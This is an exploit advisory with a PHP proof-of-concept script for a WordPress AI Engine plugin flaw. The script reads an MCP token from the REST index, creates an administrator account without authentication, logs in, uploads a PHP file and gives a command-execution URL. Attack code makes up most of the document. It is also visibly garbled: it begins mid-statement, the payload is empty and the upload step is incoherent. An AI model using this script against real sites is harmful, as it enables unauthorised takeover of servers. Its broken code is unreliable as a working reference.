============================================================================================================================================= | # Title : WordPress AI Engine 3.1.3 Unauthenticated Admin Creation To RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://wordpress.org/plugins/ai-engine/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212446/ & CVE-2025-21074 [+] Summary : The AI Engine WordPress plugin exposes an MCP JSON RPC endpoint allowing unauthenticated calls to administrative functions. An attacker can remotely create an administrator account then upload a malicious plugin or payload to obtain full RCE on the WordPress Server. [+] Attack Requirements - WordPress reachable (HTTP/HTTPS) - AI Engine plugin <= 3.1.3 installed - No authentication required [+] Attack Flow 1) Enumerate MCP token via /wp-json/ 2) Create Administrator account 3) Authenticate 4) Upload PHP Payload 5) Execute payload → RCE [+] POC : true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => ["Content-Type: application/json"], CURLOPT_POST => true, CURLOPT_POSTFIELDS => $json ]); $r = curl_exec($ch); curl_close($ch); return $r; } // Find MCP token function find_token($t){ $routes = @file_get_contents("$t/wp-json/"); preg_match_all("#/mcp/v1/([^/]+)/sse#", $routes, $m); return $m[1][0] ?? null; } $token = find_token($target); if(!$token){ die("[!] MCP token not found. Probably patched.\n"); } echo "[+] MCP token: $token\n"; // Create admin $req = [ "jsonrpc"=>"2.0", "id"=>rand(1,99999), "method"=>"tools/call", "params"=>[ "name"=>"wp_create_user", "arguments"=>[ "user_login"=>$username, "user_email"=>$email, "user_pass"=>$password, "role"=>"administrator" ] ] ]; $r = http_post_json("$target/wp-json/mcp/v1/$token/sse", json_encode($req)); echo "[+] Create user response:\n$r\n"; // Login session cookie $login = http_post_json("$target/wp-login.php", http_build_query([ "log"=>$username, "pwd"=>$password, "wp-submit"=>"Log In" ])); preg_match('/Set-Cookie:(.*?);/i',$login,$c); $cookie = trim($c[1] ?? ""); echo "[+] Cookie: $cookie\n"; // Simple RCE payload upload $payload_name = "z".rand(111,999).".php"; $payload = ""; $boundary = "----".md5(time()); $body = "--$boundary\r\n"; $body .= "Content-Disposition: form-data; name=\"file\"; filename=\"$payload_name\"\r\n"; $body .= "Content-Type: application/x-php\r\n\r\n"; $body .= $payload . "\r\n"; $body .= "--$boundary--"; $ch = curl_init("$target/wp-content/plugins/$payload_name"); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER=>true, CURLOPT_HTTPHEADER=>[ "Cookie: $cookie", "Content-Type: multipart/form-data; boundary=$boundary" ], CURLOPT_POST=>true, CURLOPT_POSTFIELDS=>$body ]); curl_exec($ch); curl_close($ch); echo "[+] Payload uploaded: $payload_name\n"; echo "[+] Execute: $target/wp-content/plugins/$payload_name?cmd=whoami\n"; Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================